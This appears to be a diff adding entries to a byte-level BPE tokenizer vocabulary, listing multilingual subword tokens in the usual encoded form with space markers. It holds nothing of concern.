+ĠÐłÐ°Ñģ +ãģªãģģ +ÙĨÙ쨳 +ר×Ļ×ķף +ÑģÑĥд +ĠìĿ¸ê°Ħ +ĠاÙĦÙħÙĤبÙĦ +ÙĨعÙħ +تÙĪÙ쨱 +ש×ij×¢ +ılm +ılmÄ±ÅŁ +Ġ×ľ×ª×ª +تصÙģ +×Ķפ×ķ×ļ +à¹ĥà¸Ļà¸Ľà¸µ +ìĿ´ê³ł +ÙģÙĪØ² +à¸ľà¸¥à¸ĩาà¸Ļ +ĠGiáo +à¸ļà¸Ńà¸ģวà¹Īา +ĠdÄ±ÅŁ +ĠdÄ±ÅŁÄ±nda +죽 +ĠdzieÅĦ +кÑĨии +иÑĨе +ãģ®ä¸Ģ +عش +пÑĢеÑģÑģ +หà¸Ļà¹Īà¸Ńย +ลัà¸ģษà¸ĵะ +ĠpossibilitÃł +à¹Ħà¸Ķà¹īรัà¸ļà¸ģาร +หยุà¸Ķ +Ġphiên +çĶŁãģ¾ãĤĮ +Ø·ÙĪÙĦ +ÑĦин +für +ØŃÙĬاة +íĸĪìĬµëĭĪëĭ¤ +׼׳×ķת +à¸Ľà¸£à¸°à¸ª +à¸Ľà¸£à¸°à¸ªà¸ļ +à¸Ľà¸£à¸°à¸ªà¸ļà¸ģารà¸ĵà¹Į +ëIJĺìĹĪ +Ġkażdy +Ġluyá»ĩn +ĠоÑĢганизаÑĨии +å°ijãģªãģı +ÑģÑĤÑĢоен +Ġtécnico +×§×Ķ׾ +Ġ×ķ×IJ×Ĺ +ĠعÙĦÙĬÙĥ +Ñīение +Ġ×Ķ×Ļ׾×ĵ×Ļ×Ŀ +ÙĪØ³Ø§Ø¦ÙĦ +Ġ×ķ×Ķת +تÙħÙĬز +ĠÑģказал +Ġполи +Ġ×Ķ×ŀס +ÙĦÙijÙİ +Ùħؤسسة +Ġ×ŀ×Ļ×ĵ +ãģ£ãģ¡ +ĠëĦĪ무 +à¸ŀี +Ġtặng +Ġtấn +רש×Ŀ +Ġmédica +Ġ×¢×ķ×ŀ +Ġ×¢×ķ×ŀ×ĵ +ÑĦоÑĢ +Ùħرة +Ġvatanda +ĠvatandaÅŁ +Ġдело +à¸Ļม +ãģ¨åIJĮãģĺ +ÙģÙī +ÑģоÑĢ +Ġ×Ķסר×ĺ +Ġépoca +ìłķì±ħ +ĠÑģвÑıзан +ضرب +ĠÙĦÙĨا +Ġużywa +ĠاÙĦجÙĬØ´ +ÑİÑĢ +×ijס×ķ×£ +ĠмÑĥ +ĠмÑĥзÑĭк +bilité +Ġmaç +سÙİ +تÙĦÙĥ +ãģ¬ +ÙĬÙĦا +ÑĪла +ÙĢÙĢÙĢ +Ġодной +зван +ĠÑģÑĢаз +ĠÑģÑĢазÑĥ +ÙĨظÙħ +راÙĩ +ĠÙĦÙĩذا +׼×ķר +Ġ×Ķש×ij×ķ×¢ +Ġ×Ķשת +ĠQuảng +ãĥ«ãĥ¼ +ãģĪãģªãģĦ +×ĺ×IJ +Ġmiá»ģn +ĠPháºŃt +ĠاÙĦسÙĪÙĤ +ÄĤ +ĠاÙĦجÙħع +ĠاÙĦجÙħعة +ÑİÑīей +aÅĤem +عتÙĤد +Ø£ÙĦÙħ +Ñģке +ĠìĿ´íķ´ +ÙĨسخ +è¨ĢãģĦ +добав +سبÙĤ +×¢×ķרר +ÑĤип +ãģĿãģĵãģ§ +visión +عÙĪØ¯Ø© +먹 +×ŀ×ĸר×Ĺ +ĠØ¥ØŃ +Ġ׾×ij×Ļף +Ġ׾צ×IJת +Ġyardı +Ġyardımc +Ġyardımcı +İZ +קפ×Ķ +tré +liÄŁini +клÑİÑĩа +Ġüretim +Ġayrı +ĠkiÅŁiler +à¸Ħà¹īà¸Ļ +à¸Ħà¹īà¸Ļหา +ĠSá»± +Ġ×Ľ×¡ +Ġ×Ľ×¡×£ +ĠÑĤакиÑħ +ĠXuân +Ġлег +Ġлегко +Ø«ÙĤاÙ쨩 +ÐĿÐŀ +ãĤ¹ãĤ¿ãĥĥ +ãĤ¹ãĤ¿ãĥĥãĥķ +åIJĪãģĦ +Ġ×Ķש×Ļ×ŀ×ķש +manız +ĠÐĴаÑģ +gün +ìľĦìĽIJíļĮ +Ġwspóln +ĠÑģвое +íĥģ +à¹Ģà¸Ļีย +ÙĪØ¨Ø© +вÑıз +ıdır +ëIJĺìĹĪëĭ¤ +ĠdeÄŁiÅŁtir +ãĤĭãģĵãģ¨ãģĮ +Ġ×Ĺ×ĵש×Ķ +ãĤīãĤĮãģ¦ãģĦãĤĭ +×Ĺ×Ļ×Ļ×ij +ĠÐļаÑĢ +׳×Ļת×ķ×Ĺ +Ġ×§×ĺף +ר×ĸ +ÙĪØº +èªŃãģ¿ +ĠتÙĤÙĪÙħ +ĠÙĥاÙĦ +à¸Ŀึà¸ģ +Ġë°ľìĥĿ +ológico +راع +à¹ģà¸ģà¹īà¹Ħà¸Ĥ +ĠÑĢабоÑĤÑĥ +ÙĨÙijÙİ +à¸Ńยูà¹Īà¸Ĺีà¹Ī +ĠاÙĦثاÙĨÙĬØ© +ĠNhân +ÑħваÑĤ +öne +Ġعدة +à¹ģสà¸ĩ +ÑĤоп +пÑĥÑģка +شراء +ĠÐļом +Ġפע×ķ׾×Ķ +ìĤ¬ìĿ´ +ìĤ¬ìĿ´íĬ¸ +è¡Įãģ£ãģ¦ +Ġ×Ķ×Ķת +ĠÑģÑĤоÑĢо +ĠÑģÑĤоÑĢонÑĭ +درس +à¸ĭู +à¸ķà¹Īำ +ĠأبÙĬ +подоб +ãģ«ãģ¦ +ارتÙģØ§Ø¹ +ĠÙħؤ +иков +geführt +มืà¸Ńà¸ĸืà¸Ń +ĠÙĦÙĤد +ĠØ£ÙĨÙij +سÙĬطر +ãģ¾ãģļãģ¯ +ס×ĵ +ÑģколÑĮко +ãģ¿ãģŁãģĦãģª +×ĵר×Ĵ +×¢×Ļ×ĵ +à¹ĥหà¹īà¸ļริà¸ģาร +ĠÐĶи +×ij×¢×Ļ×ķת +Ġ×Ķ×Ĺ×ķ +пиÑģÑĮ +ĠاÙĦØ®ÙĦ +бав +Ġİlk +ĠاÙĦØ®Ùħ +ĠاÙĦØ®ÙħÙĬس +ĠÙĬÙĤÙĪÙħ +æĻĤãģ® +ĠsÅĤow +ĠØ£ÙĩÙħ +Ø®ÙĦÙĤ +ĠأصبØŃ +Ġchứa +Ġthác +Ù쨧ÙĦ +Ġchá»Ŀ +ĠاÙĦخار +ĠاÙĦخارج +ĠاÙĦخارجÙĬØ© +طائر +ĠtÃł +ĠtÃłu +à¸ģลà¹īà¸Ńà¸ĩ +ĠاÙĦÙħرأ +ĠاÙĦÙħرأة +åħ¨ãģı +ĠÃĸn +çļĦãģ«ãģ¯ +Ġpièce +×Ĵ×Ļ×ij +ĠاÙĦÙĪØ§ÙĤع +ä»Ĭãģ® +ĠاÙĦÙħÙĤ +cznÄħ +ÙģØ¹Ø§ÙĦ +енного +ĠÑĦакÑĤ +ìĭłì²Ń +ĠÐŀни +ĠاÙĦبÙĦاد +овиÑĩ +ëıĮ +ÑĦÑĥнкÑĨи +Ġìĸ´ëĬIJ +ãĥķãĤ©ãĥ¼ +dÃŃ +илоÑģÑĮ +ÙħÙī +ĠاÙĦØ£ÙħرÙĬÙĥ +ĠاÙĦØ£ÙħرÙĬÙĥÙĬØ© +×ĺ×Ļפ×ķ׾ +íĶĦë¡ľê·¸ +íĶĦë¡ľê·¸ëŀ¨ +Ġש×ķ׳×ķת +Ø´ÙħÙĦ +ĠпаÑĢа +Ġ×Ķ×Ĺ×ķ×§ +ÙĪØ²Ø§Ø±Ø© +ãģ¨ãģĻãĤĭ +Ġquảng +Ġaģır +ĠاÙĦÙĦج +ĠاÙĦÙĦجÙĨØ© +긴 +ĠTân +جÙħÙĦ +дол +à¹ģà¸ŀà¸Ĺย +à¹ģà¸ŀà¸Ĺยà¹Į +Ġר×IJש×Ļ +Ñīей +Ġçevre +ĠкомплекÑģ +Ġ×ij×ŀש×ļ +Ġaltın +ĠأعÙħاÙĦ +ĠÑģвоего +ãĤĪãģĦ +×Ĺ׾×Ļ×ĺ +×ŀ×ł×¢ +Ġר×ij×Ķ +ĠØ£ÙĬضاÙĭ +×ĸ׾ +ĠاÙĦسÙĬاسÙĬ +æĢĿãģĨ +קרק +קרקע +ĠاÙĦÙ쨱ÙĬÙĤ +биÑĤ +ק׳×Ķ +ĠØ¥ÙĨÙĩ +ĠÐĴам +ÐłÐŀ +ãĥĪãĥª +å¿ħè¦ģãģª +Ġchâu +ç¶ļãģij +Ġçözüm +gÅĤow +عÙĤÙĦ +売ãĤĭ +iết +à¸Ĭิà¹īà¸Ļ +ĠØŃÙĤÙĪÙĤ +Ø·ÙĦع +ĠÄijen +ĠÙĥاÙ쨩 +ãģ®ãģĶ +Ġë¬ +Ġ물 +Ġë¬¼ë¡ł +ĠرسÙĪÙĦ +зам +замен +Ġkullanıcı +×¢×ķ׾ +èī²ãĢħ +ÑĪиÑĢ +Ġ×Ĺש +Ġwygl +ĠwyglÄħda +ש×Ļ×ŀ×ķש +å¿ĺãĤĮ +×¢×Ļצ×ķ×ij +ĠاÙĦسÙĪØ±ÙĬ +å°ijãģªãģĦ +ĠпоиÑģк +สำà¸Ļัà¸ģà¸ĩาà¸Ļ +Ġ×ŀצ×ĵ +ĠmÃ¼ÅŁ +ĠmÃ¼ÅŁter +ĠmÃ¼ÅŁteri +ĠÙħÙĨÙĩÙħ +à¸ķำà¹ģ +à¸ķำà¹ģหà¸Ļ +à¸ķำà¹ģหà¸Ļà¹Īà¸ĩ +ÅĽmie +Ġ×©×ł×ª +Ġ×Ķפ×Ļ +פרש +×¢×ijר×Ļת +สà¸Ļัà¸ļ +สà¸Ļัà¸ļสà¸Ļุ +สà¸Ļัà¸ļสà¸Ļุà¸Ļ +è¨Ģãģ£ãģ¦ +à¸ģารà¸Īัà¸Ķ +ĠMoże +изаÑĨии +ứt +ĠÙĪØ¨Ø¹Ø¯ +ĠdeÄŁild +ĠdeÄŁildir +Ġת×ŀ +Ġ×ŀ×ŀ׳×ķ +話ãĤĴ +ĠÑĨена +Ġthúc +×Ļ×ŀ×ķף +ĠBáo +ãĤĴåıĸãĤĬ +å®īãģĦ +Ġ×¢×ķש×Ļ×Ŀ +èĩªåĪĨãģĮ +lée +ãĤĭãģ®ãģ§ +иÑĢÑĥеÑĤ +ãģ¦ãĤĭ +ستر +ĠاÙĦØŃÙĬ +×Ļ׾×ķת +Ġ×Ĺ×ij +ÙĤرأ +تÙħÙĥÙĨ +سائÙĦ +prüf +ãģĭãģijãģ¦ +ĠÑģобÑģÑĤвенно +ĠìľĦíķĺìŬ +׾×Ļ×ĺ +ãģĮå¤ļãģı +ÙĬتÙĩا +ç«ĭãģ¦ +มà¸Ńà¸ļ +ìĭľìŀ¥ +оÑĢа +ĠsavaÅŁ +×ĺ×Ļ×ij×Ļ +×ij׳×ķ +Ùħاذا +기ê°Ħ +ãģªãģ©ãģ§ +Ġ×ŀת×Ĺ×Ļ׾ +Ġnhiá»ħ +Ġnhiá»ħm +каÑĢ +каÑĢÑĤ +Ġ׾×Ķשת×ŀש +׳×Ļ×Ĺ +ادÙĬØ© +รายà¸ĩาà¸Ļ +ĠprzykÅĤad +Ñīий +ØŃضÙĪØ± +Ġhôn +ÃĿ +ת×ķצ×IJ×ķת +رابط +Ġbếp +ĠполÑĥÑĩи +åĩºä¼ļãģĦç³» +à¸Ľà¸¥à¹Īà¸Ńย +ĠاÙĦشباب +اÙĩÙĦ +ä»Ĭãģ¾ãģ§ +رجع +ãĤ¶ãĥ¼ +ÙĤÙģ +ĠGroÃŁ +ĠíļĮìĽIJ +اجر +Ġ×ij×ŀקר×Ķ +Ġsegurança +fühl +ãģ¦ãģĦãģı +หมà¸Ń +ĠкоÑĤоÑĢом +ĠNÄĥm +ĠdÅĤugo +ÙħÙĨØŃ +ש×ķ×ķ×Ļ +ĠØ£ÙĬاÙħ +à¸ªà¸łà¸²à¸ŀ +rzÄħ +شرÙĥات +ãĤĴèĢĥãģĪ +даÑĢ +à¸Ľà¸£à¸°à¸Ĭุม +Ġ×ķ×IJ×ĸ +iá»ĩn +Ġtươi +ש×Ļ×Ĺ +à¸Ńà¹Īà¸Ńà¸Ļ +æĽ¸ãģĦãģ¦ +Ġngữ +×ij×Ļ×ĺ×Ĺ +×ij×Ļ×ĺ×Ĺ×ķף +Ġsẵ +Ġsẵn +ì§ĢëıĦ +ĠпÑĢеп +ĠпÑĢепаÑĢаÑĤ +ĠнаÑĥÑĩ +ĠÃľnivers +ĠÃľniversites +ĠÃľniversitesi +Ġ×Ĵ×ĵ×ķ׾×Ķ +Ġ×Ķ×ł×ª +Ġ×Ķ×ł×ª×ij×¢ +ãģ§ãģĤãģ£ãģŁ +ĠmiesiÄħ +ĠmiesiÄħc +гÑĢам +гÑĢамм +ĠبشأÙĨ +ĠÑħÑĢ +×§×Ļ×ĵ +×§×Ļ×ĵ×ķ×Ŀ +Ø´Ùĥر +Ġá»ķ +Ġá»ķn +ãģĮãģĤãģ£ãģ¦ +ãģķãĤĮãģ¾ãģĻ +Ġ×Ĺ×ķ×ĵ +Ġ×Ĺ×ķ×ĵש×Ļ×Ŀ +ÙħÙĪØ§Ø¬Ùĩ +ÙħÙĪØ§Ø¬ÙĩØ© +أشخاص +بغ +à¹Ģรียà¸Ļรูà¹ī +ãģĹãģ¦ãģĦãģı +Ġsạn +å¿ħãģļ +׳×Ļ×Ĵ +׳×Ļ×Ĵ×ķ×ĵ +باÙĦغ +×Ĺש×ŀ +×Ĺש×ŀ׾ +Ġnapraw +ĠnaprawdÄĻ +Ø´Ùĩاد +×IJ×ķ×Ķ +×IJ×ķ×Ķ×ij +иÑĨÑĭ +Ġ×Ķר׼×ij +ëŀij +Ġתע +Ġ×Ķ×Ļש +Ġ×Ķ×Ļשר×IJ +Ġ×Ķ×Ļשר×IJ׾×Ļ +Ø£ÙħÙĨ +ÑİÑīаÑı +skór +LERİ +Ġ×Ķ×IJ×Ĺר×ķף +×¢×ł×§ +ĠÙĪÙĥÙĦ +ãģĵãģĵãģ§ +Ġquán +liÄŁin +à¸ģà¸İหมาย +Ø·Ùħ +أجÙĩ +أجÙĩزة +ĠErdoÄŁan +ãģ§ãģĬ +ĠвÑĢа +ĠвÑĢаÑĩ +ĠPhó +à¸Ĭัà¹Īว +à¸Ĭัà¹Īวà¹Ĥม +à¸Ĭัà¹Īวà¹Ĥมà¸ĩ +Ġphúc +×Ļפ×ķת +×¢×Ļ×ķף +Ġdużo +ãĥģãĥ¼ãĥł +ĠÙĬÙİ +ĠзадаÑĩ +Ġ×Ĵ×ij×ķ×Ķ×Ķ +Ġ׼׼׾ +ложен +état +ĠngÄĥn +èµ·ãģį +ĠTiến +صعب +Ġexperiência +Ø®Ùħ +à¸ģารà¸Ĺำà¸ĩาà¸Ļ +سÙĬد +ĠDá»± +ĠкоÑĤоÑĢого +ladıģı +Ġkhá»ķ +Ġê³ĦìĨį +Ñīик +สà¹Īวà¸Ļà¸ķัว +зоÑĢ +ÙĨÙı +Ġà¸Ķัà¸ĩ +Ġà¸Ķัà¸ĩà¸Ļัà¹īà¸Ļ +Ġcấu +ĠÄijá»ijc +оÑĦ +ĠاÙĦأعÙħاÙĦ +ãģªãģıãģ¦ãĤĤ +×ķ׼×Ļ×Ŀ +à¹ģà¸Ľ +ĠBên +ãĥ¯ãĥ³ +Ġgiám +ĠÅŀu +Ġdáng +عÙĦÙĬ +à¹Ģà¸ģษ +à¹Ģà¸ģษà¸ķร +ÙĪØ¬Ø¨ +ннÑĭе +ÙĤضاء +à¸Ħวà¸ļ +à¸Ħวà¸ļà¸Ħุ +à¸Ħวà¸ļà¸Ħุม +ãģ¤ãģ¤ +ĠViá»ĩc +×ŀ×ij×ĺ +ש×Ļת×ķ×£ +ĠведÑĮ +kaza +kazaÅĤ +à¸ķำรวà¸Ī +ãĤ¿ãĥ« +ĠповÑĭ +ĠповÑĭÑĪен +ĠSợ +ĠìĦ¤ëªħ +ĠÃĩünkü +ìĥĿíĻľ +Ö¾ +ãĤĮãģ¦ãģĦãĤĭ +Ġ×ijר×IJש +ר×ķ×Ĵ +ĠоÑĦи +ĠоÑĦиÑĨиалÑĮн +ĠÑĥÑģÑĤанов +ĠÑĥÑģÑĤановлен +ĠاÙĦÙħصر +ĠاÙĦÙħصرÙĬØ© +ĠÐŁÐ¾ÑįÑĤомÑĥ +ÙĨصÙģ +ĠÙĪØ§ÙĦÙĨ +ĠhÃłi +à¸Ħิ +ĠAprès +ì³IJ +à¹Ģà¸ĭีย +×ĵ×ŀ×Ķ +activité +à¸Ħิà¸Ķวà¹Īา +ÑĤÑĢен +à¹Ģฮ +ãĥıãĤ¤ +ãģĮå¢ĹãģĪ +еннаÑı +Ġìĺ¤ëĬĺ +ãĥ¢ãĥ³ +ĠконеÑĩно +ĠÙħÙĤابÙĦ +clé +Ġhü +Ġthẳng +ìłģìĿ´ +ĠÐIJлекÑģ +ĠÐIJлекÑģан +ĠÐIJлекÑģандÑĢ +ãĥŀãĥ³ãĤ·ãĥ§ãĥ³ +ãģ²ãģ¨ãģ¤ +ãģªãģĬ +à¹Ģà¸Īà¹īาà¸Ĥà¸Ńà¸ĩ +ëĵľë¦¬ +شاء +ĠsaÄŁlık +ĠÅŁimdi +×Ļ×IJ׾ +تأثÙĬر +أسب +أسباب +ĠвÑĭполнен +лок +ש×Ļ×ij×Ķ +Ġlắm +ĠTrÆ°á»Ľc +Ġ×Ķ×¢×ľ +리를 +ĠÑĢеж +ĠÑĢежим +inté +intégr +×Ĵ׳×Ļ +ĠاÙĦشعر +Ġmilhões +Ġpequeño +ãĤ³ãĥ¼ãĤ¹ +×ķ׼×Ĺ +à¹Ģà¸Ĭà¹īา +شرÙĤ +Ġhương +รัà¸IJà¸ļาล +à¸ģลาย +à¸ģลายà¹Ģà¸Ľà¹ĩà¸Ļ +ĠподÑħод +תש×ķ×ij×Ķ +ãģıãģªãģ£ãģ¦ +ĠاÙĦØ£ÙħÙħ +ĠHá»įc +ĠwspóÅĤpr +ĠwspóÅĤprac +ÑĩÑĥв +ÑĩÑĥвÑģÑĤв +ÃŃstico +à¹Ģà¸ģาะ +ìĽĢ +Ġназад +ãĤĭãĤĪãģĨãģ« +ĠСШ +ĠСШÐIJ +мон +ĠAsÃŃ +×ķר×Ĵ +полнен +×ŀ×¡×ľ +×ŀ×¡×ľ×ķ׾ +à¹Ģลืà¸Ńà¸Ķ +à¹Ģริà¹Īมà¸ķà¹īà¸Ļ +ĠاÙĦØ¥Ùħ +ĠاÙĦØ¥Ùħارات +צ×Ķר +ãĥ¡ãĥªãĥĥãĥĪ +ĠпоÑĤом +виз +ĠÙģØªØ±Ø© +å¾Įãģ® +ÐĿÐIJ +×ŀסר +ÙĬرÙĬ +pré +ĠteÅŁek +ĠteÅŁekkür +Ġödeme +داÙĨ +ãģ¾ãģĹãģ¦ +缮ãģ« +ĠÑĤеÑĩение +lard +lardır +à¹Ģราà¸Īะ +ספ×Ļ +ĠÙĪÙĥذÙĦÙĥ +Ġhát +Ġtá»Ļc +à¸Ħุย +Ġbức +ØŃÙĬÙĨ +èģŀãģĦãģ¦ +Ùħؤشر +ĠNhư +Ġменее +ละà¸Ħร +Ñģин +ĠÑĢек +ĠÑĢекл +ĠÑĢеклам +ĠÙģÙĩÙĪ +Ġ׾×ĸ +×Ļ׳×ķת +ĠÅŁart +ÑģÑĤавка +Ġíı¬íķ¨ +ãģ«è¡Įãģı +ï¼Ŀ +ĠпозволÑıеÑĤ +Ġת×ķ׼׾×ķ +овал +صÙĦØ© +Ġ׾ש׳×ķת +ĠÐĺгÑĢ +ÙħÙĨتجات +ĠsatÄ±ÅŁ +Ñģко +ĠاÙĦØ«ÙĦاثاء +Ġ×Ķ×ĵ×ijר×Ļ×Ŀ +ãģĹãģ¾ãģĹãĤĩãģĨ +بÙĤÙī +åĬĽãĤĴ +ĠÃĩok +ãĥģãĥ¥ +à¹Ģà¸Ĭืà¹īà¸Ń +ยุà¸Ħ +ศาล +Ġ×§×ķ×ĵ×Ŀ +×ĸר×Ļ×Ŀ +ãģ®åł´åIJĪ +ĠìķĬìķĺ +ãģĤãĤĬãģ¾ãģĻãģĮ +×IJשר +è¡Įãģı +ãģ»ãģĭ +æ°Ĺãģ«ãģªãĤĭ +йдеÑĤ +íķĺìĺĢëĭ¤ +ستÙħرار +ĠÐŁÑĢе +ĠÑģбоÑĢ +ĠìķĦ무 +ç§ģãĤĤ +عص +ĠниÑĩ +ĠниÑĩего +ĠпÑĢием +×§×ķ×ŀ +ĠìĪĺëıĦ +Ġì¡´ +Ġì¡´ìŀ¬ +ĠأثÙĨ +ĠأثÙĨاء +ĠÙĪØ§ÙĦØŃ +ãģĮãģ§ãģįãĤĭ +Ġת×Ķ +Ġת×Ķ×Ļ×Ķ +רף +ĠÑģвÑıзи +×Ĵשת +ÑģпекÑĤ +ס×ij×Ļ×ij +ס×ij×Ļ×ij×Ķ +ĠíķĦìļĶíķľ +تخصص +Ġжив +ĠживоÑĤ +ĠMayıs +تعا +تعاÙĪÙĨ +ĠعÙĨÙĩا +ówki +ĠاÙĦÙģÙĦسطÙĬÙĨÙĬ +ãģłãģijãģ§ãģªãģı +ìĿ¸ì§Ģ +ĠاÙĦسÙĪØ¯ +ĠاÙĦسÙĪØ¯Ø§ÙĨ +إجراءات +Ġkötü +Ġ×Ļתר +×Ĵ×Ļש×Ķ +Ġצ×ķר×ļ +รà¸ĸย +รà¸ĸยà¸Ļà¸ķà¹Į +ÑħоÑĤ +ÐłÐIJ +ÙĪØ·ÙĨ +Ġsayısı +ס×Ĺר +ÙħÙĪÙĦ +ãĤĴæĮģãģ£ãģ¦ +عاÙĨ +Ġtá»Ļi +ĠвÑĭÑĪе +Ġtầm +ãĥĪãĥ¬ +×Ļצ×ķ +มุม +سÙĪØ¯ +ìłĦìŀIJ +ãĤµãĥŃãĥ³ +ìĤ°ìĹħ +ĠоÑģнован +Ø®Ù쨶 +רצ×Ķ +بÙĬض +×ķÖ¹ +ס×Ļ×Ļ×¢ +Ġש×IJ×Ļ +ĠاÙĦÙĤرآÙĨ +ĠТакже +×ŀש×ŀ×¢×ķת +سÙĩÙĦ +Ġ×Ķ׳×Ķ +ãĤĴãģĹãģ¦ãģĦãĤĭ +×Ļ×Ļס +×Ķ×ķ×IJ +ĠBÃŃ +Ġмало +ĠëͰëĿ¼ìĦľ +Ġר×Ĺ×ij +ãģĮé«ĺãģĦ +ÙĪØ§Ø³ +ìĤ¼ +×ł×¢ +ãģ£ãģ¡ãĤĥ +ĠTüm +à¸Ńีà¸ģà¸Ķà¹īวย +ãģĹãģ¦ãģıãģłãģķãģĦ +ÙĨشاط +ãĥĹãĥ©ãĥ³ +алиÑģÑĮ +×ĵ×ľ×ª +ĠwczeÅĽ +ĠwczeÅĽniej +ĠÑįÑĤим +Ġthá»ĭt +à¸ļัà¸į +à¸ļัà¸įà¸Ĭี +ãģļãģ£ãģ¨ +ÑĢин +ĠswojÄħ +íķĺëĬĶëį° +Ġë§Įëĵ¤ìĸ´ +تشÙĥ +تشÙĥÙĬÙĦ +ائÙĩ +Ġ׾פ×Ĺ×ķת +ãĥĭãĥ¥ +ãĥĭãĥ¥ãĥ¼ãĤ¹ +׼×IJף +ãģ§ãģįãģŁ +звон +ĠstaÅĤ +×Ĺ×ijרת×Ļ +ĠأعÙĦÙĨ +à¹ģà¸ļà¸ļà¸Ļีà¹ī +بدء +ãĤģãģŁ +Ġ×ŀש×ŀ×¢×ķת +Ġ×ŀש×ŀ×¢×ķת×Ļ +örü +Ġhạnh +zähl +ĠLý +Ġ×ij×Ķת +Ġ×ij×Ķת×IJ×Ŀ +баÑĢ +ì¦Ī +ä»ĬåĽŀãģ® +Ġyü +Ġyüks +Ġyüksel +ãĤ½ãĥ¼ +ãģĤãĤĮ +×ª×ľ×ŀ×Ļ×ĵ +ãģ¤ãģª +×ij׳×Ļ×Ŀ +Ġxếp +ĠмÑĥжÑĩин +ĠاÙĦÙĥتاب +׼×ŀ×ķת +Ġçe +ĠçeÅŁ +ĠçeÅŁit +ĠçeÅŁitli +×ĵ×Ļר×ķת +à¸ļุà¸į +ĠاÙĦØ¥ÙĦÙĥ +ĠاÙĦØ¥ÙĦÙĥترÙĪ +ĠاÙĦØ¥ÙĦÙĥترÙĪÙĨÙĬ +ĠباÙĦإض +ĠباÙĦإضاÙ쨩 +Ġyönel +Ġyönelik +mysÅĤ +à¸Ķà¹īวยà¸ģาร +à¸ģารà¸Ĺำ +овÑĭм +أزÙħØ© +æİ¢ãģĹ +íļ¨ +Ġ×ķ×IJ×Ŀ +Ġnghiêm +ÑĪин +кал +Ġcrianças +èĩªåĪĨãģ§ +Ġнай +ĠнайÑĤи +ĠSá»ij +ĠÃ¶ÄŁrenciler +ãĥ¶æľĪ +Ñģан +ĠJá +ĠkonuÅŁma +شرط +ëĪĪ +arrière +ضرÙĪØ±Ø© +ãĥĶãĥ³ +עשר +аÑĢÑĮ +جÙħاع +Ġdéco +Ġ×Ļ×Ķ×ķ×ĵ×Ļ +à¸ŀลาà¸Ķ +ĠÙĬÙĥÙĨ +ĠجاÙħعة +طبÙĤ +ĠboÅŁ +×ķ×ķ×IJ +×ŀ×ĵ×¢ +×§×ij×ķצת +פ×Ļר +jÄħcym +Ùħشا +ÙħشاÙĥÙĦ +צפ×ķף +إست +×ŀ׼ר +سÙħع +Ġкакой +ÑĤвоÑĢ +ØŃج +ÙģØ±Ø¶ +пÑĢавлен +Ġникак +Ġmiá»ĩ +Ġmiá»ĩng +Ã¼ÃŁ +иÑĢовал +׾×ŀ×ķת +次ãģ® +ÙĦØ· +à¸ķัà¸Ļ +×Ķת×Ĺ×Ļ׾ +ĠfotoÄŁ +ĠfotoÄŁraf +طرØŃ +à¸Ńà¸Ńà¸ģà¹Ħà¸Ľ +Ġyên +Ġпок +ĠпокÑĥп +ĠпокÑĥпа +ÑĨÑĥ +ĠкомпÑĮÑİ +ĠкомпÑĮÑİÑĤеÑĢ +ĠاÙĦÙĥرÙĬÙħ +تصÙħ +تصÙħÙĬÙħ +Ġоказа +Ġzarówn +Ġzarówno +ëĮĢì¶ľ +ãĤ»ãĥ³ãĤ¿ãĥ¼ +ĠjakoÅĽci +æĤ© +æĤ©ãģ¿ +Ø£ÙĨÙĪ +Ø£ÙĨÙĪØ§Ø¹ +ë¹ł +Ġìłķë§IJ +Ġkẻ +ĠÑģайÑĤа +Ġ×Ķער×ij +Ùĩز +presión +ĠÑģÑĤен +ãģ£ãģ¦ãĤĭ +Ġhızlı +ÐļÐIJ +×ŀשפ×Ĺת +ĠÙĨÙĩا +ĠÙĨÙĩاÙĬØ© +ãģ¾ãģĦ +оÑħÑĢан +รà¹īà¸Ńย +ลึà¸ģ +ĠÙĪØ¨Ø§ÙĦ +ãĤĤãģ®ãģĮ +ר׼×Ļ×ij +ãĤ¤ãĥ¤ +سؤ +سؤاÙĦ +ĠÙĦØ£ÙĨÙĩ +ĠkonuÅŁtu +ÐļÑĥпиÑĤÑĮ +Ġש×IJת×Ķ +ĠÙĪØ§ÙĦس +ĠmożliwoÅĽci +Ġprób +ëͰ +ãģ©ãĤĮ +ĠÐľÐ¸Ð½ +ĠоÑĢганизм +ãģ«å¯¾ãģĻãĤĭ +ĠPré +Ġprivé +chè +ãģĦãģŁãģłãģį +สà¸Ļุà¸ģ +ajÄħce +ĠDzi +ĠDziÄĻki +ÅĤatw +rän +ränk +æĿ¥ãģŁ +Ġ×Ķ×Ļ×Ķ×ķ×ĵ×Ļ +ãĤ¬ãĥ¼ +ĠÑĢад +ĠÑĢади +кÑĤив +Ø£Ùĩد +Ø£ÙĩداÙģ +ש×IJ×Ļר +ãģ¦ãģĦãģªãģĦ +Ġfrüh +Ġокол +Ġоколо +Ġregião +ĠÑĩиÑģле +Ġponiew +Ġponieważ +ìĦ¼íĦ° +Ġbầu +Ġê· +Ġê·ľ +Ġê·ľìłķ +ĠHòa +ĠÑĤоÑĤ +ãĤĤå¤ļãģĦ +ĠاÙĦإسÙĦاÙħÙĬØ© +ãģĭãģĦ +Ñįн +ĠÑĥказан +ĠÑĤакое +ï¼³ +ëĮĢíķĻ +ĠgeniÅŁ +ĠاÙĦØ®ÙĬ +ĠاÙĦØ®ÙĬارات +ãĤĴè¡ĮãģĨ +ש×ŀ×Ķ +ĠLÃłm +ÙĪÙĨÙĬ +Ġ×IJ׾×Ļ×ķ +Äĺ +à¹Ħมà¹Īสามารà¸ĸ +人ãģ¨ +برز +×Ļס×ķ×ĵ +×Ĵ׾×Ļ +ĠÙĬÙĨا +ĠÙĬÙĨاÙĬر +ĠкаÑĢÑĤин +Ġtôn +à¹Ģà¸ģร +à¸Ħà¸Ķี +Ġ׾×IJ×ķר×ļ +ãĤĤãĤīãģĨ +ãģĭãģĭãĤĭ +ании +ĠaraÅŁtırma +ÙĦاØŃظ +ãģĦãĤĦ +ĠTÃłi +Ġà¸Ļà¸Ńà¸ģà¸Īาà¸ģ +Ġà¸Ļà¸Ńà¸ģà¸Īาà¸ģà¸Ļีà¹ī +ĠÄIJảng +ãģ£ãģ¦ãģįãģŁ +Ġà¸ĭึà¹Īà¸ĩà¹Ģà¸Ľà¹ĩà¸Ļ +Ġtả +ĠmożliwoÅĽÄĩ +ĠSản +Ġİki +Ġcắt +سأÙĦ +Ġbakım +شب +à¸ķีà¹ī +à¸ŀยาย +à¸ŀยายาม +à¸ªà¸±à¸Ľ +à¸ªà¸±à¸Ľà¸Ķา +à¸ªà¸±à¸Ľà¸Ķาหà¹Į +ë°Ģ +еÑĢÑĭ +Ġcánh +Ġthuế +تبع +ãģ«åħ¥ãĤĮ 